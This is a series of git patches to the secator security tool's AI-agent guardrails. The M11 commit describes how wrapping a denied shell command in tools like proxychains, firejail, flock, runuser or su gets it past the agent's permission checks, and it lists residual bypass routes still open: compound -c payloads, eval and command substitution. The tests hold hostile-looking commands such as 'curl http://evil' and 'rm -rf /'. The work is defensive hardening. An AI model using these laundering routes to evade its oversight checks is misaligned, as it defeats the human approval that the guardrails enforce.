patch("secator.tasks.ai.build_tool_schemas", return_value=[]), \ + patch.object(ai, "reports_folder", "/tmp/ws"): + t._detect_mode() + return t.mode + + def test_llm_exploit_classification_is_honored(self): + # ambiguous prompt -> defers to LLM; LLM says exploit -> mode is exploit (was 'chat') + self.assertEqual(self._run_detect("take a look at this thing", "exploit"), "exploit") + + def test_llm_attack_classification_unchanged(self): + self.assertEqual(self._run_detect("take a look at this thing", "attack"), "attack") + + def test_llm_chat_classification_unchanged(self): + self.assertEqual(self._run_detect("take a look at this thing", "chat"), "chat") + + def test_llm_unknown_classification_falls_back_to_chat(self): + self.assertEqual(self._run_detect("take a look at this thing", "banana"), "chat") + if __name__ == '__main__': unittest.main() From 772f5cc870bf3afe2b9c34dac857c66187b352f0 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Thu, 2 Jul 2026 17:34:19 +0200 Subject: [PATCH 073/129] fix(ai): extensible exec-wrapper peeling closes the C2 laundering class (M11) (#1264) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ## Finding — M11 (P1 / Security) C2 made shell guardrail checks wrapper-aware, but `EXEC_WRAPPERS` was a **static, hard-coded set**. Any exec-wrapper not in that set let an attacker launder a denied command — the wrapper was treated as the leaf and its payload never inspected: `proxychains curl http://evil`, `firejail rm -rf /`, `flock /tmp/x curl ...`, `runuser -c 'curl http://evil'`, `script -c '...'` — same bypass class as C2. ## Root cause `secator/ai/guardrails.py:354` `_peel_wrapper` only peeled names in the fixed `EXEC_WRAPPERS` frozenset (`guardrails.py:40`); everything else fell through as `inner[0]` = leaf command. ## Fix - **Broaden `EXEC_WRAPPERS`** with the missing wrappers: `flock`, `runuser`, `su`, `script`, `proxychains`, `proxychains4`, `firejail`, `torsocks`, `torify`, `unshare`, `chrt`, `taskset`, `catchsegv`. - **`_WRAPPER_ARG_GRAMMAR`** — a compact, data-driven table `(opts_taking_a_value, positional_args_before_cmd, cmd_string_opts)` so each wrapper's OWN args are skipped to reach the real leaf, reusing the existing peel loop (no second parser): - value-opts: `proxychains -f cfg`, `flock -w N`, `sudo/runuser/su -u user` - positional operands: `flock `, `su ` - `--` end-of-options boundary - `-c ''` command strings (`runuser`/`su`/`script`/`flock`) are **re-parsed (shlex) and re-peeled** so the nested payload is checked rather than skipped - **Config-extensible:** `CONFIG.addons.ai.exec_wrappers` (new field, `secator/config.py`) EXTENDS the built-in set — config is additive over the security baseline, never shrinks it. - Preserves C2 behavior for already-covered wrappers (`timeout 60 rm` → `rm`), the interpreter ask-gate (`timeout 60 bash -c ...` keeps `bash` as leaf), and normal commands. ## Tests — `TestWrapperPeelingM11` (19, all pass) - **Proven / shfmt-independent:** all `_peel_wrapper` assertions operate on token lists, and the `_exec_wrappers` config-extension test — no shfmt needed. - **Proven-via-stub:** 3 `check_action` integration tests stub `extract_commands` (same pattern as the existing `TestOutputFlagWrites`), asserting the peeled leaf's deny/ask fires (`proxychains dd` → deny, `flock /tmp/l dd` → deny, `firejail rm -rf /tmp/x` → ask). - **shfmt-gated:** the pre-existing `check_action`-based wrapper tests in `TestDefaultPermissions` require real `shfmt`/`safecmd` and fail environmentally on every branch (safecmd swallows the `FileNotFoundError` → empty parse). Baseline vs after (full `test_ai_guardrails.py`): **57 failed / 94 passed → 57 failed / 113 passed**. Failure set byte-identical (all shfmt-environmental), zero regressions, +19 new passing. ## Residual laundering vectors (flagged, not fixed) - Compound payload after `-c` (`runuser -c 'curl x && rm -rf /'`) — only the first command of the re-parsed string is classified (`guardrails.py` `_peel_wrapper` cmd-string branch). - Arbitrary user shell aliases / functions; `$(...)`/backtick command substitution; `eval`; wrapper binaries under nonstandard names or paths not in the set (config extension is the mitigation). 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-authored-by: Claude Opus 4.8 --- secator/ai/guardrails.py | 61 ++++++++++++++++++++- secator/config.py | 1 + tests/unit/test_ai_guardrails.py | 91 +++++++++++++++++++++++++++++++- 3 files changed, 151 insertions(+), 2 deletions(-) diff --git a/secator/ai/guardrails.py b/secator/ai/guardrails.py index 3a4d12fe7..ca85a7459 100644 --- a/secator/ai/guardrails.py +++ b/secator/ai/guardrails.py @@ -37,11 +37,52 @@ # Exec-wrappers run a *different* command passed as args (`timeout 60 rm -rf /`), # so we peel the wrapper and check the INNER command, not the allow-listed name (C2). +# M11: any wrapper NOT peeled reopens the C2 laundering class (`proxychains curl evil`, +# `firejail rm -rf /`, `flock /tmp/x curl ...`), so the set is broadened + config-extensible. EXEC_WRAPPERS = frozenset({ "timeout", "xargs", "env", "nice", "ionice", "nohup", "stdbuf", "setsid", "sudo", "doas", "watch", "time", "chroot", "unbuffer", + # M11: added laundering-vector wrappers + "flock", "runuser", "su", "script", "proxychains", "proxychains4", + "firejail", "torsocks", "torify", "unshare", "catchsegv", "chrt", "taskset", }) +# M11: per-wrapper arg grammar so the REAL command is located, not a lockfile/config/user. +# (opts_taking_a_value, positional_args_before_cmd, cmd_string_opts) — cmd_string_opts values +# (e.g. `-c 'curl evil'`) are re-parsed and peeled so the payload is checked, not skipped. +_EMPTY = frozenset() +_WRAPPER_ARG_GRAMMAR = { + "flock": (frozenset({"-w", "--timeout", "-E", "--conflict-exit-code"}), 1, frozenset({"-c", "--command"})), + "runuser": (frozenset({"-u", "--user", "-g", "--group", "-G", "--supp-group", "-s", "--shell"}), 0, frozenset({"-c", "--command"})), # noqa: E501 + "su": (frozenset({"-s", "--shell", "-g", "--group", "-G", "--supp-group"}), 1, frozenset({"-c", "--command"})), + "script": (_EMPTY, 0, frozenset({"-c", "--command"})), + "proxychains": (frozenset({"-f"}), 0, _EMPTY), + "proxychains4": (frozenset({"-f"}), 0, _EMPTY), + "sudo": (frozenset({"-u", "--user", "-g", "--group", "-U", "-C", "-p", "-r", "-t", "-T"}), 0, _EMPTY), +} + + +def _exec_wrappers() -> frozenset: + """M11: built-in wrappers plus any ops-configured extras. Config EXTENDS the security baseline.""" + try: + from secator.config import CONFIG + extra = getattr(CONFIG.addons.ai, "exec_wrappers", None) or [] + extra = {str(w).strip() for w in extra if str(w).strip()} + if extra: + return EXEC_WRAPPERS | extra + except Exception: + pass + return EXEC_WRAPPERS + + +def _split_cmd_string(s: str) -> List[str]: + """Best-effort tokenize a `-c ''` payload so the nested command can be re-checked.""" + import shlex + try: + return shlex.split(s) + except ValueError: + return s.split() + def parse_rule(rule: str) -> Tuple[str, List[str]]: """Parse a rule string like 'target(10.0.0.1,example.com)' into (type, patterns). @@ -356,20 +397,38 @@ def _peel_wrapper(args: List[str]) -> List[str]: Bare `env`/`sudo` (no inner command) is returned as-is so it's still checked by name. """ + wrappers = _exec_wrappers() tokens = args for _ in range(len(args)): # bounded peels (guards against pathological nesting) if not tokens: return tokens name = tokens[0].rsplit('/', 1)[-1] - if name not in EXEC_WRAPPERS: + if name not in wrappers: return tokens rest = tokens[1:] + # M11: peel proxychains/firejail/flock/runuser/... past their OWN args (value-opts, + # positional lockfile/config, `-c ''`) so the leaf payload is what gets classified. + opts_with_val, n_pos, cmd_opts = _WRAPPER_ARG_GRAMMAR.get(name, (_EMPTY, 0, _EMPTY)) i = 0 + pos_seen = 0 while i < len(rest): tok = rest[i] + if tok == '--': # end-of-options: the inner command starts next + i += 1 + break + if tok in cmd_opts and i + 1 < len(rest): # `-c ''` — re-parse & peel the nested payload + nested = _split_cmd_string(rest[i + 1]) + return _peel_wrapper(nested) if nested else tokens + if tok in opts_with_val and i + 1 < len(rest): # option that consumes its value + i += 2 + continue if tok.startswith('-') or _is_wrapper_operand(tok): i += 1 continue + if pos_seen < n_pos: # wrapper's own positional (flock lockfile / su user) + pos_seen += 1 + i += 1 + continue break if i >= len(rest): return tokens # wrapper with no inner command — check it by name diff --git a/secator/config.py b/secator/config.py index 566ed76bb..21a5edebc 100644 --- a/secator/config.py +++ b/secator/config.py @@ -245,6 +245,7 @@ class AiAddon(StrictModel): context_window: int = Field(default=128_000, ge=1) user_response_timeout: int = 600 encrypt_pii: bool = True + exec_wrappers: List[str] = [] # M11: extra exec-wrappers to peel (extends the built-in security baseline) permissions: Dict = { 'allow': [ 'target({targets})', diff --git a/tests/unit/test_ai_guardrails.py b/tests/unit/test_ai_guardrails.py index e92fefac4..cda13aedc 100644 --- a/tests/unit/test_ai_guardrails.py +++ b/tests/unit/test_ai_guardrails.py @@ -10,7 +10,7 @@ from secator.ai.guardrails import ( parse_rule, match_rule, extract_command_targets, detect_paths, detect_paths_with_access, detect_sensitive_env_vars, classify_command, build_target_choices, PermissionEngine, - _is_file_path, _normalize_ip + _is_file_path, _normalize_ip, _peel_wrapper, _exec_wrappers, EXEC_WRAPPERS ) from secator.output_types import Warning, Error @@ -1194,5 +1194,94 @@ def test_redirect_still_write_with_output_flag_cmd(self): self.assertIn(("/etc/y", "write"), paths) +@unittest.skipUnless(ADDONS_ENABLED['ai'], 'ai addon not installed') +class TestWrapperPeelingM11(unittest.TestCase): + """M11: broadened + arg-grammar-aware exec-wrapper peeling closes the C2 laundering class. + + The `_peel_wrapper` assertions are PROVEN (they take a token list — no shfmt needed). + The `check_action` integration assertions stub `extract_commands` (real shfmt is absent + in CI-less envs, which no-ops every parser-dependent test), same pattern as + TestOutputFlagWrites.""" + + # --- PROVEN: peel locates the leaf command past each wrapper's own arg grammar --- + + def test_proxychains_peels_to_inner(self): + self.assertEqual(_peel_wrapper(["proxychains", "curl", "http://evil"]), ["curl", "http://evil"]) + + def test_proxychains_config_flag_consumed(self): + self.assertEqual(_peel_wrapper(["proxychains", "-f", "/etc/pc.conf", "dd"]), ["dd"]) + + def test_firejail_peels_past_long_opts(self): + self.assertEqual(_peel_wrapper(["firejail", "--net=none", "rm", "-rf", "/tmp/x"]), ["rm", "-rf", "/tmp/x"]) + + def test_flock_lockfile_positional_consumed(self): + self.assertEqual(_peel_wrapper(["flock", "/tmp/l", "curl", "http://evil"]), ["curl", "http://evil"]) + + def test_flock_value_opt_then_lockfile(self): + self.assertEqual(_peel_wrapper(["flock", "-w", "5", "/tmp/l", "dd"]), ["dd"]) + + def test_runuser_cmd_string_reparsed(self): + self.assertEqual(_peel_wrapper(["runuser", "-c", "curl http://evil"]), ["curl", "http://evil"]) + + def test_runuser_user_then_dashdash(self): + self.assertEqual(_peel_wrapper(["runuser", "-u", "bob", "--", "curl", "http://evil"]), ["curl", "http://evil"]) + + def test_su_user_positional_and_cmd_string(self): + self.assertEqual(_peel_wrapper(["su", "root", "-c", "dd if=/dev/zero"]), ["dd", "if=/dev/zero"]) + + def test_script_cmd_string_reparsed(self): + self.assertEqual(_peel_wrapper(["script", "-c", "curl http://evil", "/tmp/log"]), ["curl", "http://evil"]) + + def test_torsocks_peels_to_inner(self): + self.assertEqual(_peel_wrapper(["torsocks", "curl", "http://evil"]), ["curl", "http://evil"]) + + def test_sudo_user_value_opt_consumed(self): + # pre-existing C2 gap: `sudo -u bob` mis-read `bob` as the command; grammar now consumes it + self.assertEqual(_peel_wrapper(["sudo", "-u", "bob", "rm", "-rf", "/"]), ["rm", "-rf", "/"]) + + # --- PROVEN: C2-covered wrappers + normal commands unchanged --- + + def test_c2_timeout_still_peels(self): + self.assertEqual(_peel_wrapper(["timeout", "60", "rm", "-rf", "/"]), ["rm", "-rf", "/"]) + + def test_c2_interpreter_gate_preserved(self): + # bash is NOT a wrapper — it stays the leaf so its ask-gate still fires + self.assertEqual(_peel_wrapper(["timeout", "60", "bash", "-c", "rm -rf /"]), ["bash", "-c", "rm -rf /"]) + + def test_normal_command_untouched(self): + self.assertEqual(_peel_wrapper(["curl", "http://ok"]), ["curl", "http://ok"]) + + def test_bare_wrapper_checked_by_name(self): + self.assertEqual(_peel_wrapper(["sudo"]), ["sudo"]) + + # --- PROVEN: config EXTENDS the built-in baseline (never shrinks below it) --- + + def test_config_added_wrapper_honored(self): + try: + CONFIG.addons.ai.exec_wrappers = ["myrunner"] + self.assertIn("myrunner", _exec_wrappers()) + self.assertTrue(EXEC_WRAPPERS <= _exec_wrappers()) # baseline is the floor + self.assertEqual(_peel_wrapper(["myrunner", "dd", "if=/dev/zero"]), ["dd", "if=/dev/zero"]) + finally: + CONFIG.addons.ai.exec_wrappers = [] + + # --- PROVEN-via-stub: end-to-end deny/ask fires on the peeled leaf, not the wrapper name --- + + def _decide(self, argv): + engine = PermissionEngine(dict(CONFIG.addons.ai.permissions), targets=["10.0.0.1"], + workspace="/home/user/.secator/reports/test/tasks/ai_1") + with patch('safecmd.bashxtract.extract_commands', return_value=([argv], [], [])): + return engine.check_action({"action": "shell", "command": " ".join(argv)}).decision + + def test_proxychains_denied_inner_command(self): + self.assertEqual(self._decide(["proxychains", "dd", "if=/dev/zero"]), "deny") # dd is deny-listed + + def test_flock_launders_denied_command(self): + self.assertEqual(self._decide(["flock", "/tmp/l", "dd"]), "deny") + + def test_firejail_scoped_rm_asks(self): + self.assertEqual(self._decide(["firejail", "rm", "-rf", "/tmp/x"]), "ask") # not silent-allowed as firejail + + if __name__ == '__main__': unittest.main() From f8a7aa2018f2f55bb9ac1bb89d6533078976cf4b Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Thu, 2 Jul 2026 18:54:39 +0200 Subject: [PATCH 074/129] fix(ai): explicit allow-list for ask-loop approval (refactor-safety) (#1265) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Round-2 backlog item #2 from the AI-task review. The permission ask-loop in `actions.py` approved on *any non-`deny` answer* (deny-list shape). Both backends normalize to exactly `allow`/`deny` today, so this is **behavior-neutral now** — but a new backend or a refactored token could slip through the gap. Flips the three prompt sites (shell/target/path) to an explicit allow-list via a small `_is_approved()` helper: only a normalized `allow` proceeds; `None`, `deny`, or any unexpected token denies (fail closed). Tests: `test_ai_actions.py` 75→79 (+4: allow proceeds, deny denies, unexpected token denies, None denies). No regressions. Folds into the aggregate #1241. Co-authored-by: Claude Opus 4.8 --- secator/ai/actions.py | 13 ++++++++++--- tests/unit/test_ai_actions.py | 32 ++++++++++++++++++++++++++++++++ 2 files changed, 42 insertions(+), 3 deletions(-) diff --git a/secator/ai/actions.py b/secator/ai/actions.py index 98fdcb82c..5c722f0f9 100644 --- a/secator/ai/actions.py +++ b/secator/ai/actions.py @@ -171,6 +171,13 @@ def _build_action_display(action: Dict) -> str: return "" +def _is_approved(response) -> bool: + # Explicit allow-list: only a normalized "allow" answer approves. None, "deny", + # or any unexpected token denies (fail closed) — so a new backend or a refactored + # answer vocabulary can't silently approve via a "not deny" gap. + return bool(response) and response.get("answer") == "allow" + + def check_guardrails_sync(action: Dict, ctx: ActionContext) -> Tuple[Optional[str], List]: """Non-generator wrapper for check_guardrails. @@ -255,7 +262,7 @@ def check_guardrails(action: Dict, ctx: ActionContext): if is_remote: yield ctx.backend.build_pending_prompt(**ask_kwargs) response = ctx.backend.ask_user(**ask_kwargs) if ctx.backend else None - if response is None or response.get("answer") == "deny": + if not _is_approved(response): return "Action denied: shell command not approved" if parse_failed: return None @@ -279,7 +286,7 @@ def check_guardrails(action: Dict, ctx: ActionContext): if is_remote: yield ctx.backend.build_pending_prompt(**ask_kwargs) response = ctx.backend.ask_user(**ask_kwargs) if ctx.backend else None - if response is None or response.get("answer") == "deny": + if not _is_approved(response): return f"Action denied: target {target} not approved" # Handle path prompts @@ -302,7 +309,7 @@ def check_guardrails(action: Dict, ctx: ActionContext): if is_remote: yield ctx.backend.build_pending_prompt(**ask_kwargs) response = ctx.backend.ask_user(**ask_kwargs) if ctx.backend else None - if response is None or response.get("answer") == "deny": + if not _is_approved(response): return f"Action denied: {access_type} access to {path} not approved" # Re-check to see if more layers need prompting diff --git a/tests/unit/test_ai_actions.py b/tests/unit/test_ai_actions.py index 2fffec603..07b5ed64b 100644 --- a/tests/unit/test_ai_actions.py +++ b/tests/unit/test_ai_actions.py @@ -1129,6 +1129,38 @@ def test_unresolved_after_max_rounds_denies(self): self.assertIn("unresolved", denial) +class TestApprovalAllowList(unittest.TestCase): + """Ask-loop approval must be an explicit allow-list: only "allow" proceeds.""" + + def _run(self, answer): + from secator.ai.actions import check_guardrails_sync + ask = MagicMock(decision="ask", shell_command="somecmd", targets=[], paths=[], reason="needs approval") + allow = MagicMock(decision="allow", shell_command="", targets=[], paths=[], reason="") + engine = MagicMock() + engine.check_action.side_effect = [ask, allow] + backend = MagicMock() + backend.ask_user.return_value = None if answer is None else {"answer": answer} + ctx = ActionContext(targets=['t.com'], model='m') + ctx.permission_engine = engine + ctx.backend = backend + denial, _items = check_guardrails_sync({"action": "shell", "command": "somecmd"}, ctx) + return denial + + def test_allow_proceeds(self): + self.assertIsNone(self._run("allow")) + + def test_deny_denies(self): + self.assertIsNotNone(self._run("deny")) + + def test_unexpected_answer_denies(self): + # an out-of-vocabulary token must NOT be treated as approval (fail closed) + self.assertIsNotNone(self._run("sure")) + self.assertIsNotNone(self._run("allow_all_typo")) + + def test_none_response_denies(self): + self.assertIsNotNone(self._run(None)) + + @unittest.skipUnless(ADDONS_ENABLED['ai'], 'ai addon not installed') class TestSubagentFanoutCap(unittest.TestCase): """H4: recursion depth + per-turn fan-out caps on AI-subagent spawns.""" From 3d06851daf18c4ba3fb74b81ae2d156775abe780 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Sat, 4 Jul 2026 20:05:37 +0200 Subject: [PATCH 075/129] fix(ai): warn 'missing shfmt/safecmd' instead of 'Missing ai addon' + ship shfmt via the ai addon (#1274) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ## Problem (hit during CLI testing) In attack mode every shell command the LLM issues hit the guardrail shell parser, which printed: ``` [ERR] Missing ai addon: please run "secator install addons ai". ``` …even though the ai addon **was** installed. `_parse_subcommands` (`guardrails.py`) shells out to `shfmt` via `safecmd`; the misleading message came from its `ImportError` branch. The env had `litellm` (so `ADDONS_ENABLED['ai']=True`) but not `safecmd`/`shfmt` — a partial ai install. Worse, the *other* failure mode (safecmd present, `shfmt` binary not on PATH) was **silent** (`FileNotFoundError` swallowed by `except Exception: return []`). ## Fix 1. **Message** — replace the `Error("Missing ai addon")` with a **one-shot `Warning`** that names the real gap: `"Missing safecmd shell parser"` (ImportError) or `"Missing shfmt binary"` (FileNotFoundError). Both fall back to the **non-shfmt path** — an empty sub-command list, so `_check_action_type` asks the user to approve the whole command (safe, just coarser). Warn once per process (no per-command spam). 2. **Install** — add `shfmt-py` explicitly to the `ai` extra so `secator install addons ai` (`pip install secator[ai]`) always ships the `shfmt` **binary**, not just the `safecmd` Python package (which only pulled it transitively). ## Tests `TestShellParserFallback`: safecmd-missing → `Warning` naming `safecmd`, never `"ai addon"`; shfmt-binary-missing → `Warning` naming `shfmt`; warn-once across multiple commands. Full AI suite: **no new failures** vs branch baseline. Found while testing `ai-testing`; targets `ai-resiliency` (#1241). 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-authored-by: Claude Opus 4.8 --- pyproject.toml | 6 +++- secator/ai/guardrails.py | 36 +++++++++++++++++++++-- tests/unit/test_ai_guardrails.py | 49 +++++++++++++++++++++++++++++++- 3 files changed, 87 insertions(+), 4 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index b9c23c7cb..ba46e700d 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -92,7 +92,11 @@ gcs = [ ] ai = [ 'litellm < 2', - 'safecmd' + 'safecmd', + # safecmd shells out to the `shfmt` binary (via shutil.which); pin shfmt-py + # explicitly so `secator install addons ai` always ships the binary, not just + # the safecmd Python package. Without it the guardrail shell parser degrades. + 'shfmt-py' ] [project.scripts] diff --git a/secator/ai/guardrails.py b/secator/ai/guardrails.py index ca85a7459..9f49c12e3 100644 --- a/secator/ai/guardrails.py +++ b/secator/ai/guardrails.py @@ -349,6 +349,34 @@ def _check_arg(arg: str): return targets +_SHELL_PARSER_WARNED = False + + +def _warn_shell_parser_unavailable(reason: str) -> None: + """Warn ONCE that the shfmt-based shell parser is unavailable, then let the + caller fall back to the non-shfmt path (whole-command approval). + + This is deliberately a Warning, not an Error, and it does NOT claim the ai + addon is missing: ``litellm`` (the ai addon) can be installed while the shell + parser — ``safecmd`` + the ``shfmt`` binary it shells out to — is not. Without + it the guardrail can't split a command into sub-commands, so + ``_check_action_type`` falls back to asking the user to approve the whole + command (safe, just coarser). Warn once so a long agent run isn't spammed on + every shell command. + """ + global _SHELL_PARSER_WARNED + if _SHELL_PARSER_WARNED: + return + _SHELL_PARSER_WARNED = True + from secator.rich import console + from secator.output_types import Warning + console.print(Warning( + message=f'{reason}: shell commands cannot be sub-parsed for guardrails — ' + 'falling back to whole-command approval. Run "secator install addons ai" ' + 'to enable precise per-subcommand parsing.' + )) + + def _parse_subcommands(command: str) -> List[List[str]]: """Parse a shell command into sub-command token lists via safecmd's parser. @@ -365,8 +393,8 @@ def _parse_subcommands(command: str) -> List[List[str]]: try: from safecmd.bashxtract import extract_commands except ImportError: - from secator.rich import console - console.print('[bold red][ERR][/] Missing ai addon: please run "secator install addons ai".') + # NOT a missing *ai* addon (litellm can be present without the shell parser). + _warn_shell_parser_unavailable('Missing safecmd shell parser') return [] try: # Normalize LLM-generated multiline commands: join lines where a pipe/operator @@ -374,6 +402,10 @@ def _parse_subcommands(command: str) -> List[List[str]]: command = re.sub(r'\s*\n\s*(\||\&\&|\|\|)', r' \1', command) cmds, ops, redirects = extract_commands(command) return [c for c in cmds if c] + except FileNotFoundError: + # safecmd is installed but the `shfmt` binary it shells out to isn't on PATH. + _warn_shell_parser_unavailable('Missing shfmt binary') + return [] except Exception: return [] diff --git a/tests/unit/test_ai_guardrails.py b/tests/unit/test_ai_guardrails.py index cda13aedc..bc082909b 100644 --- a/tests/unit/test_ai_guardrails.py +++ b/tests/unit/test_ai_guardrails.py @@ -10,7 +10,8 @@ from secator.ai.guardrails import ( parse_rule, match_rule, extract_command_targets, detect_paths, detect_paths_with_access, detect_sensitive_env_vars, classify_command, build_target_choices, PermissionEngine, - _is_file_path, _normalize_ip, _peel_wrapper, _exec_wrappers, EXEC_WRAPPERS + _is_file_path, _normalize_ip, _peel_wrapper, _exec_wrappers, EXEC_WRAPPERS, + _parse_subcommands, ) from secator.output_types import Warning, Error @@ -1283,5 +1284,51 @@ def test_firejail_scoped_rm_asks(self): self.assertEqual(self._decide(["firejail", "rm", "-rf", "/tmp/x"]), "ask") # not silent-allowed as firejail +@unittest.skipUnless(ADDONS_ENABLED['ai'], 'ai addon not installed') +class TestShellParserFallback(unittest.TestCase): + """When the shfmt-based shell parser (safecmd/shfmt) is unavailable, the + guardrail must Warn (NOT claim 'Missing ai addon') and fall back to + whole-command approval — an empty sub-command list makes the caller `ask`.""" + + def setUp(self): + import secator.ai.guardrails as g + g._SHELL_PARSER_WARNED = False # reset warn-once flag per test + + def _run_and_capture(self): + printed = [] + with patch('secator.rich.console.print', side_effect=lambda x, *a, **k: printed.append(x)): + result = _parse_subcommands('curl -s https://x.com | head -5') + return result, printed + + def test_missing_safecmd_warns_not_ai_addon(self): + # Simulate safecmd not installed -> ImportError on the in-function import. + with patch.dict('sys.modules', {'safecmd.bashxtract': None}): + result, printed = self._run_and_capture() + self.assertEqual(result, []) # unparseable -> caller falls back to ask + self.assertEqual(len(printed), 1) + item = printed[0] + self.assertIsInstance(item, Warning) # a Warning, not an Error + self.assertIn('safecmd', item.message) + self.assertNotIn('ai addon', item.message.lower()) + + def test_missing_shfmt_binary_warns(self): + # safecmd imports, but the shfmt binary it shells out to is not on PATH. + with patch('safecmd.bashxtract.extract_commands', side_effect=FileNotFoundError('shfmt')): + result, printed = self._run_and_capture() + self.assertEqual(result, []) + self.assertEqual(len(printed), 1) + self.assertIsInstance(printed[0], Warning) + self.assertIn('shfmt', printed[0].message) + self.assertNotIn('ai addon', printed[0].message.lower()) + + def test_warns_only_once_across_commands(self): + printed = [] + with patch('safecmd.bashxtract.extract_commands', side_effect=FileNotFoundError): + with patch('secator.rich.console.print', side_effect=lambda x, *a, **k: printed.append(x)): + _parse_subcommands('a | b') + _parse_subcommands('c | d') + self.assertEqual(len(printed), 1) # warn-once, no per-command spam + + if __name__ == '__main__': unittest.main() From cf7e549a0bd2adee5b569617337a032ea53ea779 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Sat, 4 Jul 2026 20:06:03 +0200 Subject: [PATCH 076/129] fix(ai): make _context.session_id the single source of truth for the chat conversation id (#1272) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Two commits, one theme: **`_context.session_id` becomes the single source of truth** for the remote AI chat conversation id. ## 1. `fix(ai): stamp session_id on runner context so remote transcript restores` The remote (web) AI channel is headless — a respawned `ai` task rebuilds the conversation from its `_type:"ai"` Mongo docs, and `restore_history_from_db` + the `RemoteBackend` poll both scope by **`_context.session_id`**. Tool-action docs get that key via `_get_result_context`, but the `prompt`/`response` turns only inherit `_context` from `self.context` (`Runner._process_item` copies it). `self.session_id` was resolved into a local var but **never written back to `self.context`**, so a locally-derived id left the transcript turns unqueryable → resume restored an empty history. It only worked on the platform because the dispatcher supplies `session_id` in the context. **Fix:** write the resolved `session_id` back onto `self.context` in `_init_options` — one line, stamps every persisted item uniformly, idempotent on the platform. Also fixes two pre-existing stale tests (asserted the old top-level query shape) and adds `TestSessionIdStampedOnContext`. ## 2. `refactor(ai): retire top-level Ai.session_id field` With #1 guaranteeing `_context.session_id` on every doc, the top-level `Ai.session_id` field is redundant — it was **write-only** in core and duplicated the id that `restore_history_from_db`, the poll, `_expire_stale_pending`, `poll_steers`, and secator-api all already key on via `_context.session_id`. Removes the field + its 3 constructor writes (resume prompt, turn_completed, remote pending prompt). `ActionContext.session_id` and the `build_pending_prompt`/`ask_user` params (the *working* id) are unchanged. ## Cross-repo (lockstep) - **secator-api `feat/ai-chat` (PR #199)** — updated so `answer_ai_prompt` resolves the pending prompt by `_context.session_id` (was top-level) and the steer doc stops writing a redundant top-level `session_id`. Must merge no later than this. - **secator-ui `feat/ai-chat`** — no change; `getChatTranscript` already queries `_context.session_id`. ## Verification - Full AI unit suite: **no new failures** vs branch baseline (the ~68 remaining are the `shfmt`/`safecmd`-parser env failures common to all branches). - Empirically re-ran a remote turn: `prompt`/`response`/`follow_up` docs all carry `_context.session_id` and **zero** top-level `session_id`; answering via `_context.session_id` (the way updated secator-api does) is picked up by the poll and continues the turn. Part of the AI-task reliability series → `ai-resiliency` (#1241). 🤖 Generated with [Claude Code](https://claude.com/claude-code) --------- Co-authored-by: Claude Opus 4.8 --- secator/ai/interactivity.py | 4 +- secator/output_types/ai.py | 6 ++- secator/tasks/ai.py | 16 +++++++- tests/unit/test_ai_session.py | 71 +++++++++++++++++++++++++++++++++-- 4 files changed, 89 insertions(+), 8 deletions(-) diff --git a/secator/ai/interactivity.py b/secator/ai/interactivity.py index ecaa9bdf7..ffe139bb0 100644 --- a/secator/ai/interactivity.py +++ b/secator/ai/interactivity.py @@ -119,12 +119,14 @@ def build_pending_prompt(self, question, choices, session_id, prompt_type="follo # (e.g. a worker that died mid-poll). Expire them BEFORE this doc is # persisted so only the current prompt stays live (M10). self._expire_stale_pending(session_id) + # The conversation id rides on `_context.session_id` (auto-stamped from the + # runner context on persist) — the poll + restore + secator-api all key on + # that, so this pending doc needs no top-level session_id field. return Ai( content=question, ai_type=prompt_type, status="pending", choices=choices, - session_id=session_id, extra_data=extra_data, _timestamp=time.time(), ) diff --git a/secator/output_types/ai.py b/secator/output_types/ai.py index f0451f0fb..bbebd5254 100644 --- a/secator/output_types/ai.py +++ b/secator/output_types/ai.py @@ -84,7 +84,11 @@ class Ai(OutputType): status: str = field(default='', compare=False) answer: str = field(default='', compare=False) choices: list = field(default_factory=list, compare=False) - session_id: str = field(default='', compare=False) + # NOTE: no top-level `session_id` field — the conversation id is carried by + # `_context.session_id`, auto-stamped on every persisted item from the runner + # context (see ai._init_options). restore_history_from_db, the remote answer + # poll, and secator-api all correlate on `_context.session_id`. Don't re-add a + # redundant top-level field. _source: str = field(default='', repr=True, compare=False) _type: str = field(default='ai', repr=True) _timestamp: int = field(default_factory=lambda: time.time(), compare=False) diff --git a/secator/tasks/ai.py b/secator/tasks/ai.py index bf5e86226..694da1249 100644 --- a/secator/tasks/ai.py +++ b/secator/tasks/ai.py @@ -330,7 +330,7 @@ def _maybe_resume_remote(self): # Append the new user message that respawned the conversation if self.prompt: self.history.add_user(maybe_encrypt(self.prompt, self.encryptor)) - yield Ai(content=self.prompt, ai_type="prompt", session_id=self.session_id) + yield Ai(content=self.prompt, ai_type="prompt") yield Info(message=f"Resumed session from DB ({len(self.history.messages)} messages), model: {self.model}, mode: {self.mode}") # noqa: E501 yield from self._run_loop() @@ -391,7 +391,6 @@ def _mark_turn_completed(self): content="", ai_type="turn_completed", status="completed", - session_id=self.session_id, extra_data={"turn_uuid": turn_uuid}, ), print=False) @@ -696,6 +695,19 @@ def _init_options(self): or self.session_name or str(self.id) ) + # Write the resolved session_id back onto the runner context so it is the + # single source of truth for the conversation id. Every persisted item + # copies `self.context` into its `_context` (Runner._process_item), so this + # stamps `_context.session_id` on ALL `_type:"ai"` docs — including the + # `prompt`/`response` turns yielded directly here, which otherwise carry no + # session_id (they don't go through `_get_result_context` like tool docs do). + # restore_history_from_db + the remote poll both key on `_context.session_id`, + # so without this a locally-resolved session_id (str(self.id)/session_name) + # leaves the transcript turns unqueryable and a resume restores nothing. + # On the platform the dispatcher already supplies session_id in the context, + # so self.session_id equals it and this is an idempotent write. + if self.context is not None: + self.context["session_id"] = self.session_id self.backend = create_backend(self.interactive, timeout=CONFIG.addons.ai.user_response_timeout) # Auto-approve workspace targets diff --git a/tests/unit/test_ai_session.py b/tests/unit/test_ai_session.py index bcf144c64..46035670b 100644 --- 